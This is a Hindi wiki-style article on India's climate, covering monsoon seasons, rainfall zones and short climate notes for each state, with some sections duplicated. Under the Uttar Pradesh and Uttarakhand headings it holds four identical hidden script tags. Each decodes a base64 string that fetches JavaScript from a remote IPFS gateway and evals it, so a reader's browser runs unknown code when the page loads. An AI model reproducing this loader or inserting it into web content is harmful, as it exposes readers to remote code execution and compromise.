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[[राजस्थान]] की जलवायु शुष्क से आर्द्रता अथवा उपोष्ण है। [[अरावली पर्वतमाला|अरावली]] के पश्चिम में न्यून वर्षा, उच्च दैनिक एवं वार्षिक [[तापमान]], निम्न आर्द्रता तथा तीव्र हवाओं से युक्त शुष्क जलवायु है। दूसरी ओर अरावली के पूर्व में अर्द्ध-शुष्क एवं उप-आर्द्र जलवायु है, जहाँ [[वर्षा]] की मात्रा में वृद्धि हो जाती है, तापमान अपेक्षाकृत कम, उच्च तथा वायु में आर्द्रता की वृद्धि हो जाती है साथ में वायु की गति में भी कमी रहती है।  
 
[[राजस्थान]] की जलवायु शुष्क से आर्द्रता अथवा उपोष्ण है। [[अरावली पर्वतमाला|अरावली]] के पश्चिम में न्यून वर्षा, उच्च दैनिक एवं वार्षिक [[तापमान]], निम्न आर्द्रता तथा तीव्र हवाओं से युक्त शुष्क जलवायु है। दूसरी ओर अरावली के पूर्व में अर्द्ध-शुष्क एवं उप-आर्द्र जलवायु है, जहाँ [[वर्षा]] की मात्रा में वृद्धि हो जाती है, तापमान अपेक्षाकृत कम, उच्च तथा वायु में आर्द्रता की वृद्धि हो जाती है साथ में वायु की गति में भी कमी रहती है।  
;सिक्किम
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====सिक्किम====
 
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{{main|सिक्किम की जलवायु}}
[[सिक्किम]] बेसिन तिस्ता और उसकी सहायक नदियों, जैसे रंगित, रोंगनी चू, तालुंग व लाचुंग से अपवाहित है। इन नदियों ने पहाड़ों को काटकर गहरी घाटियों का निर्माण किया है। [[तिब्बत]] सीमा के निकट एक [[हिमनद|हिमनदी]] से निकली तिस्ता तेज़ी से नीचे उतरती है और रांगपो में लगभग 4,785 मीटर नीचे बहकर गंगा के मैदान में पहुँचने से पहले यह [[दार्जिलिंग]] पर्वतश्रेणी (2,134-2,438 मीटर) में एक दर्रा बनाती है।
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[[सिक्किम]] बेसिन [[तिस्ता नदी|तिस्ता]] और उसकी सहायक नदियों, जैसे रंगित, रोंगनी चू, तालुंग व [[लाछुंग नदी|लाछुंग]] से अपवाहित है। इन नदियों ने पहाड़ों को काटकर गहरी घाटियों का निर्माण किया है। [[तिब्बत]] सीमा के निकट एक [[हिमनद|हिमनदी]] से निकली तिस्ता तेज़ी से नीचे उतरती है और रांगपो में लगभग 4,785 मीटर नीचे बहकर गंगा के मैदान में पहुँचने से पहले यह [[दार्जिलिंग]] पर्वतश्रेणी (2,134-2,438 मीटर) में एक दर्रा बनाती है।
;हरियाणा
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*[[हरियाणा]] में गर्मियों में ख़ुब गर्मी पड़ती है और सर्दियों में ख़ूब सर्दी पड़ती है।  
 
*[[हरियाणा]] में गर्मियों में ख़ुब गर्मी पड़ती है और सर्दियों में ख़ूब सर्दी पड़ती है।  
 
*हरियाणा में गर्मियों में ([[मई]]-[[जून]]) अधिकतम [[तापमान]] 46° सें तक पहुँच जाता है।  
 
*हरियाणा में गर्मियों में ([[मई]]-[[जून]]) अधिकतम [[तापमान]] 46° सें तक पहुँच जाता है।  
;हिमाचल प्रदेश
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*[[हिमाचल प्रदेश]] का वातावरण, वहाँ की [[मिट्टी]] और पेंड़-पौधे विविधतापूर्ण है।
 
*[[हिमाचल प्रदेश]] का वातावरण, वहाँ की [[मिट्टी]] और पेंड़-पौधे विविधतापूर्ण है।
 
*बाह्म हिमाचल प्रदेश क्षेत्र में ठंडी और खुश्क सर्दियाँ और गर्मी में अत्यंत गरम मौसम रहाता है।
 
*बाह्म हिमाचल प्रदेश क्षेत्र में ठंडी और खुश्क सर्दियाँ और गर्मी में अत्यंत गरम मौसम रहाता है।
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==टीका टिप्पणी और संदर्भ==
 
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==बाहरी कड़ियाँ==
 
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==संबंधित लेख==
 
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07:38, 9 अप्रैल 2014 के समय का अवतरण

भारत की जलवायु
भारतीय जलवायु मानचित्र
विवरण भारत में मानसूनी जलवायु पायी जाती है, क्योंकि यह मानसून पवनों के प्रभाव क्षेत्र के अन्तर्गत आता है।
अधिक वर्षा वाले क्षेत्र असम, अरुणाचल प्रदेश, मेघालय, सिक्किम, पश्चिम बंगाल, कोंकण, मालाबार तट (केरल), मणिपुर
कम वर्षा वाले क्षेत्र मध्य प्रदेश, गुजरात, उत्तरी तथा दक्षिणी आन्ध्र प्रदेश, कर्नाटक, पूर्वी राजस्थान, हरियाणा
अपर्याप्त वर्षा वाले क्षेत्र कच्छ, पश्चिमी राजस्थान, लद्दाख। यहाँ कृषि बिना सिंचाई के सम्भव नहीं है।

भारत में मानसूनी जलवायु पायी जाती है, क्योंकि यह मानसून पवनों के प्रभाव क्षेत्र के अन्तर्गत आता है। फिर भी भारतीय जलवायु को दो प्रमुख तत्त्वों में सर्वाधिक प्रभावित किया है:-

  1. उत्तर में हिमालय पर्वत की उपस्थिति, जिसके कारण मध्य एशिया से आने वाली शीतल हवाएँ भारत में नहीं आ पाती तथा भारतीय जलवायु महाद्रीपीय जलवायु का स्वरूप प्राप्त करती हैं।
  2. दक्षिण में हिन्द महासागर की उपस्थिति एवं भूमध्य रेखा से समीपता, जिसके कारण, कटिबन्धीय जलवायु अपने आदर्श स्वरूप पायी जाती है, जिसकी प्रमुख विशेषताएँ हैं: दैनिक तापांतर की न्यूनता, अत्यधिक आर्द्रता वाली वायु तथा सम्पूर्ण देश में न्यूनाधिक रूप में वर्षा का होना।

उल्लेखनीय है कि भारत की स्थिति भूमध्य रेखा के उत्तर में है एवं कर्क रेखा इसके मध्य भाग से होकर गुज़रती है। कर्क रेखा के दक्षिण वाला भाग उष्ण कटिबन्ध में आता है एवं हिन्द महासागर, बंगाल की खाड़ी तथा अरब सागर की समीपता के कारण यहाँ की जलवायु में एक प्रकार की समान्ता के दर्शन होता है। इस जलवायविक समानता में हिमालय पर्वत की जलवायु-अवरोधक के रूप में उपस्थिति भी महत्त्वपूर्ण भूमिका निभाती है। उच्चावन सम्बन्धी विविधताएं, जल एवं स्थल का असमान वितरण, वनस्पति-आवरण एवं स्थिति ऐसे महत्त्वपूर्ण कारक हैं, जो भारत की जलवायु को प्रभावित करके इसमें विभिन्नता उत्पन्न करते हैं। इस विविधता पर सर्वाधिक व्यापक प्रभाव शीत तथा ग्रीष्मकाल में परिवर्तित हो जाने वाली मानसून हवाओं का पड़ता है। लगभग सम्पूर्ण देश पर मानूसन पवनों का इतना स्पष्ट प्रभाव पड़ता है यहाँ वर्ष भर में चार प्रमुख ऋतुएँ पायी जाती हैं। मानूसन पवनों द्वारा समय-समय पर अपनी दिशा पूर्णतया परिवर्तित कर लेने के कारण ये ऋतुयें भी क्रमानुसार चक्रवत परिवर्तित होती रहती हैं। भारत में मिलने वाली चार प्रमुख ऋतुएं निम्नलिखित हैं:

वर्षा का वितरण

मौसम के अनुसार वर्षा का वितरण
वर्षा का मौसम समयावधि वार्षिक वर्षा का
प्रतिशत (लगभग)
दक्षिणी-पश्चिमी मानसून जून से सितम्बर तक 73.7
परवर्ती मानसून अक्टूबर से दिसम्बर 13.3
शीत ऋतु अथवा उत्तरी पश्चिमी मानसून जनवरी - फरवरी 2.6
पूर्व-मानसून मार्च से मई 10.0

अधिक वर्षा वाले क्षेत्र

पश्चिमी घाट पर्वत का पश्चिमी तटीय भाग, हिमालय पर्वतमाला की दक्षिणावर्ती तलहटी में सम्मिलित राज्य- असम, अरुणाचल प्रदेश, मेघालय, सिक्किम, पश्चिम बंगाल का उत्तरी भाग, पश्चिमी तट के कोंकण, मालाबार तट (केरल), दक्षिणी किनारा, मणिपुर एवं मेघालय इत्यादि सम्मिलित हैं। यहाँ वार्षिक वर्षा की मात्रा 200 सेमी. से अधिक होती है। विश्व की सर्वाधिक वर्षा वाले स्थान मासिनराम तथा चेरापूंजी मेघालय में ही स्थित हैं।

साधारण वर्षा वाले क्षेत्र

इस क्षेत्र में वार्षिक वर्षा की मात्रा 100 से 200 सेमी. तक होती है। यह मानसूनी वन प्रदेशों का क्षेत्र है। इसमें पश्चिमी घाट का पूर्वोत्तर ढाल, पश्चिम बंगाल का दक्षिणी-पश्चिमी क्षेत्र, उड़ीसा, बिहार, दक्षिणी-पूर्वी उत्तर प्रदेश तथा तराई क्षेत्र के समानान्तर पतली पट्टी में स्थित उत्तर प्रदेश, पंजाब होते हुए जम्मू कश्मीर के क्षेत्र शामिल हैं। इन क्षेत्रों में वर्षा की विषमता 15 प्रतिशत से 20 प्रतिशत तक पायी जाती है। अतिवृष्टि एवं अनावृष्टि के कारण फसलों की बहुत हानि होती है।

कम वर्षा वाले क्षेत्र

इसके अन्तर्गत मध्य प्रदेश, दक्षिणी का पठारी भाग गुजरात, उत्तरी तथा दक्षिणी आन्ध्र प्रदेश, कर्नाटक, पूर्वी राजस्थान, दक्षिणी पंजाब, हरियाणा तथा दक्षिणी उत्तरी प्रदेश आते हैं। यहाँ 50 से 100 सेमी. वार्षिक वर्षा होती है। वर्षा की विषमता 20 प्रतिशत से 25 प्रतिशत तक होती है।

अपर्याप्त वर्षा वाले क्षेत्र

इन क्षेत्रों में होने वाली वार्षिक वर्षा की मात्रा 50 सेमी. से भी कम होती है। कच्छ, पश्चिमी राजस्थान, लद्दाख आदि क्षेत्र इसके अन्तर्गत शामिल किये जाते हैं। यहाँ कृषि बिना सिंचाई के सम्भव नहीं है।

भारत के राज्यों की जलवायु

अरुणाचल प्रदेश

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  • अरुणाचल प्रदेश की जलवायु में भू-आकृति एवं ऊँचाई के साथ परिवर्तन होता है।
  • लघु पर्वतीय क्षेत्र उपोष्ण कटिबंधीय है। यहाँ गर्म एवं आर्द्र जलवायु है।
  • निम्न घाटियों में ग्रीष्मकालीन अधिकतम तापमान 30° से., जबकि शरद ऋतु में निम्नतम तापमान 14° से. तक आ जाता है।

असम

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  • उष्णतम महीने अगस्त में असम का औसत तापमान 29° से., रहता है, जबकि सर्दियों में जनवरी महीनें का औसत तापमान 16° से. होता है।
  • ठंड के महीनों में कोहरे एवं वर्षा की छोटी झड़ियों का आना एक आम बात है।
  • असम की जलवायु सामान्य भारतीय जलवायु (गर्म एवं शुष्क) से अलग है।

आंध्र प्रदेश

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  1. मार्च से जून तक ग्रीष्म
  2. जुलाई से सितंबर तक उष्णकटिबंधीय वर्षा
  3. अक्टूबर से फ़रवरी तक शीत ऋतु।
  • पूरे राज्य में अधिकतम और न्यूनतम तापमान क्रमशः 23° से 28° से. और 10° से 12° से. के बीच रहता है।

उत्तर प्रदेश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

उत्तर प्रदेश की जलवायु उष्णकटिबंधीय मानसूनी है। राज्य में औसत तापमान जनवरी में 12.50 से 17.50 से. रहता है, जबकि मई-जून में यह 27.50 से 32.50 से. के बीच रहता है। पूर्व से (1,000 मिमी से 2,000 मिमी) पश्चिम (610 मिमी से 1,000 मिमी) की ओर वर्षा कम होती जाती है।

उत्तराखण्ड

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • उष्णकटिबन्धीय मॉनसूनी विशेषताओं वाले उत्तराखण्ड की जलवायु शीतोष्ण है। इसकी विशेषता मौसम के अनुसार तापमान परिवर्तन है।
  • जनवरी सबसे ठण्डा महीना होता है, जब तापमान उत्तर में शून्य से नीचे की ओर दक्षिण-पूर्व में लगभग 5° से. हो जाता है।
  • मई सबसे गर्म महीना होता है; फिर भी भारतीय उपमहाद्वीप के पर्यटकों को आकर्षित करने के लिहाज़ से कम ही गर्म साबित होता है।
  • जुलाई दक्षिणी-पश्चिमी मॉनसून का महीना है। उत्तराखण्ड में होने वाली कुल वर्षा का दो-तिहाई भाग दक्षिण-पश्चिमी मॉनसून[1] से आता है।

ओडिशा

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  • ओडिशा उष्णकटिबंधीय आर्द्र-शुष्क़ (उष्णकटिबंधीय सवाना घास के मैदान) जलवायु प्रदेश में स्थित है।
  • कटक में औसत तापमान लगभग 26° से. रहता है।
  • जनवरी सबसे सर्द महीना है, जिसमें औसत तापमान 20° से. रहता है, लेकिन मई, जो सबसे गर्म महीना है, में औसत तापमान 33° से. तक बढ़ जाता है।

कर्नाटक

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  • पश्चिम से पूर्व की ओर बढ़ते हुए पठार पर मलनाड ज़्यादा खुले क्षेत्र में परिवर्तित हो जाता है, जिसे मैदान कहते हैं, जहाँ कम वर्षा होती है और मॉनसूनी जंगलों का स्थान झाड़ीदार जंगल ले लेते हैं।
  • मॉनसूनी जंगलों में वन्य जीवन समृद्ध है, जिसमें बाघ, हाथी, गौर और हिरन शामिल हैं।

केरल

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केरल राज्य में गर्म मौसम है क्योंकि यह भूमध्यरेखा से मात्र 8 डिग्री के अंतराल पर स्थित है। केरल राज्य की जलवायु की मुख्य विशेषता है- शीतल मन्द हवा और भारी वर्षा। पश्चिमी मानसून से प्रमुख वर्षा काल प्रारम्भ होता है। दूसरा वर्षाकाल उत्तरी-पश्चिमी मानसून है।

गुजरात

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मध्य गुजरात के दक्षिणी हिस्से में वर्षा दर अधिक और तापमान में अंतर कम है; और मिट्टी ज़्यादा उपजाऊ है, जो अंशत: दक्कन क्षेत्र के बैसाल्ट चट्टानों से व्युत्पन्न हुई है। इस क्षेत्र का केन्द्र वडोदरा (बड़ौदा) शहर है, जो पहले एक समृद्ध और शक्तिशाली राज्य की राजधानी था और जिसका दक्षिणी हिस्सा अब वडोदरा ज़िला है। यहाँ की महत्त्वपूर्ण नदी नर्मदा है, जो खंभात की खाड़ी में गिरती है। नर्मदा और तापी (ताप्ती) नदी द्वारा गाद जमा किए जाने के कारण खंभात की खाड़ी की गहराई कम हो गई है और यहाँ के भूतपूर्व बंदरगाहों का पतन हो गया।

गोवा

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गोवा की जलवायु एकरूप है और यहाँ पर जून से सितम्बर के बीच दक्षिणी-पश्चिमी मानसून से वर्षा होती है। गोवा का मौसम बेहद शांत है, लेकिन जून से सितंबर के अंतिम सप्ताह तक मानसून की हलचल रहती है। कई पर्यटक तो गोवा में ख़ासतौर से मानसून का आनन्द लेने पहुँचते हैं।

छत्तीसगढ़

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  • छत्तीसगढ़ की जलवायु में भी मॉनसूनी जलवायु की सभी विशेषताएँ हैं।
  • छत्तीसगढ़ प्रदेश की जलवायु उष्ण-आर्द्र मॉनसून प्रकार की है, जिसे सामान्य बोलचाल में उष्णकटिबंधीय मॉनसूनी जलवायु या शुष्क उप-आर्द्र कहा जाता है।
  • मॉनसून की दृष्टि से छत्तीसगढ़ शुष्क आर्द्र मॉनसूनी जलवायु के अन्तर्गत आता है।
  • कर्क रेखा प्रदेश के उत्तरी भाग (सरगुजा, कोरिया ज़िले) से होकर गुज़रती है, जिसका पर्यापत प्रभाव यहाँ की जलवायु पर पड़ता है।

जम्मू और कश्मीर

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  • जम्मू और कश्मीर राज्य का 90 प्रतिशत से अधिक भाग पहाड़ी क्षेत्र है।
  • इस क्षेत्र को भौगोलिक आकृति की दृष्टि से इस सात भागों में बाँटा गया है।
  • जो पश्चिमी हिमालय के संरचानात्मक घटकों से जुड़े हैं।

झारखण्ड

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  • झारखण्ड प्रदेश उष्णकटिबंधीत क्षेत्र में स्थित है।
  • झारखण्ड की जलवायु सामान्यताः उष्णकटिबंधीत है किन्तु ऊँचे पठारी भाग होने के कारण यहाँ की जलवायु की स्थिति आस-पास से भिन्न है।
  • यह क्षेत्र मॉनसूनी जलवायु के अंतर्गत आने वाले प्रत्येक मौसम के उतार-चढ़ाव को झेलता है।

तमिलनाडु

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  • तमिलनाडु राज्य की जलवायु मूलत: उष्णकटिबंधीय है।
  • ग्रीष्मकाल में तापमान यदा-कदा ही 43° से. से ऊपर और शीत ऋतु में 18-24° से. से नीचे जाता है।
  • दिसंबर और जनवरी में न्यूनतम तथा अप्रैल और जून में अधिकतम तापमान रिकॉर्ड किया जाता है।

त्रिपुरा

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  • त्रिपुरा की जलवायु कम गर्म तथा आर्द्र होती है।
  • त्रिपुरा राज्य की जलवायु आदर्श बारिश के लिए अनुकूल हैं।

दिल्ली

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दिल्ली की जलवायु उपोष्ण है। दिल्ली में गर्मी के महीने मई तथा जून बेहद शुष्क और झुलसाने वाले होते हैं। दिन का तापमान कभी-कभी 40-45 सेल्सियस तक पहुँच जाता है। मानसून जुलाई में आता है। और तापमान को कम करता है। लेकिन सितंबर के अंत तक मौसम गर्म, उमस भरा और कष्टप्रद रहता है।

नागालैंड

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  • नागालैंड की जलवायु मानसूनी है।
  • औसत वार्षिक वर्षा 1,800 से 2,500 मिमी तक होती है और यह दक्षिण-पश्चिमी मॉनसून[2] के महीनों में संकेंद्रित होती है।

पंजाब

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  • अंतर्देशीय उपोष्ण कटिबंधीय अवस्थिति के कारण पंजाब की जलवायु अर्द्ध शुष्क से अर्द्ध नम के बीच विविधतापूर्ण है।
  • गर्मी का मौसम बेहद गर्म होता है; जून में औसत तापमान 34° से. होता है और विशेष रूप से गर्म दिनों में यह 45° से. तक पहुँच जाता है।
  • यहाँ शीत ऋतु में सर्दी भी काफ़ी पड़ती है। जनवरी में औसत तापमान 13° से. होता है और कई बार रात के समय तापमान जमाव बिन्दु तक गिर जाता है।

पश्चिम बंगाल

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  • पश्चिम बंगाल में उष्णकटिबंधीय आर्द्र शुष्क जलवायु रहती है। वार्षिक औसत तापमान 26.8° से. रहता है।
  • ग्रीष्म ऋतु गर्म एवं आर्द्र रहती है, जिसमें न्यूनतम तापमान 30° लगभग रहता है। मई और जून माह में यह 40° को भी पार कर जाता है।
  • शीत ऋतु में न्यूनतम तापमान 12° से. तक हो जाता है। दिसंबर से फ़रवरी के बीच यह तापमान रहता है।

बिहार

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  1. मार्च से मुख्य जून तक ग्रीष्म ऋतु
  2. मध्य जून से अक्टूबर तक दक्षिण-पश्चिम मॉनसून वाली वर्षा ऋतु
  3. नवंबर से फ़रवरी तक शीत ऋतु है।
  • सुदूर उत्तर को छोड़कर मई राज्य का सबसे गर्म महीना होता है, जिसमें तापमान 32° से. को भी पार कर जाता है।

मध्य प्रदेश

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मध्य प्रदेश की जलवायु मानसून पर निर्भर करती है। ग्रीष्म ऋतु गर्म व शुष्क होती है और गर्म हवाएँ चलती हैं। राज्य का औसत तापमान 29 डिग्री से. रहता है। कुछ भागों में तापमान 48 डिग्री से. तक पहुँच जाता है।

महाराष्ट्र

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मुम्बई तट पर दक्षिण-पश्चिम मॉनसून की पहली बारिश जून के पहले सप्ताह में होती है और यह सितम्बर तक चलती है। इस दौरान यहाँ वार्षिक वर्षा का 80 प्रतिशत दर्ज किया जाता है। सामान्यतः चार मौसम हैं:

  1. मार्च-मई (गर्म व शुष्क)
  2. जून-सितम्बर (गर्म व नम)
  3. अक्टूबर-नवंबर (उष्ण व शुष्क)
  4. दिसंबर-फ़रवरी (ठंडा व शुष्क)

मिज़ोरम

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मेघालय

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मेघालय की जलवायु ना तो अधिक उष्ण या ना अधिक शीत है। यहाँ का जलवायु मध्यम और आर्द्र है। यहाँ वार्षिक वर्षा लगभग 1200 से.मी. तक होती है। यह राज्य को देश का सबसे 'गीला' राज्य कहा जाता है। शिलांग के दक्षिण में चेरापूंजी है, जहाँ एक कैलेंडर महीने में सर्वाधिक बरसात का विश्व कीर्तिमान स्थापित किया है।

राजस्थान

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राजस्थान की जलवायु शुष्क से आर्द्रता अथवा उपोष्ण है। अरावली के पश्चिम में न्यून वर्षा, उच्च दैनिक एवं वार्षिक तापमान, निम्न आर्द्रता तथा तीव्र हवाओं से युक्त शुष्क जलवायु है। दूसरी ओर अरावली के पूर्व में अर्द्ध-शुष्क एवं उप-आर्द्र जलवायु है, जहाँ वर्षा की मात्रा में वृद्धि हो जाती है, तापमान अपेक्षाकृत कम, उच्च तथा वायु में आर्द्रता की वृद्धि हो जाती है साथ में वायु की गति में भी कमी रहती है।

सिक्किम

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सिक्किम बेसिन तिस्ता और उसकी सहायक नदियों, जैसे रंगित, रोंगनी चू, तालुंग व लाछुंग से अपवाहित है। इन नदियों ने पहाड़ों को काटकर गहरी घाटियों का निर्माण किया है। तिब्बत सीमा के निकट एक हिमनदी से निकली तिस्ता तेज़ी से नीचे उतरती है और रांगपो में लगभग 4,785 मीटर नीचे बहकर गंगा के मैदान में पहुँचने से पहले यह दार्जिलिंग पर्वतश्रेणी (2,134-2,438 मीटर) में एक दर्रा बनाती है।

हरियाणा

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  • हरियाणा में गर्मियों में ख़ुब गर्मी पड़ती है और सर्दियों में ख़ूब सर्दी पड़ती है।
  • हरियाणा में गर्मियों में (मई-जून) अधिकतम तापमान 46° सें तक पहुँच जाता है।

हिमाचल प्रदेश

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  • हिमाचल प्रदेश का वातावरण, वहाँ की मिट्टी और पेंड़-पौधे विविधतापूर्ण है।
  • बाह्म हिमाचल प्रदेश क्षेत्र में ठंडी और खुश्क सर्दियाँ और गर्मी में अत्यंत गरम मौसम रहाता है।



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टीका टिप्पणी और संदर्भ

  1. जुलाई-सितम्बर
  2. मई से सितंबर

बाहरी कड़ियाँ

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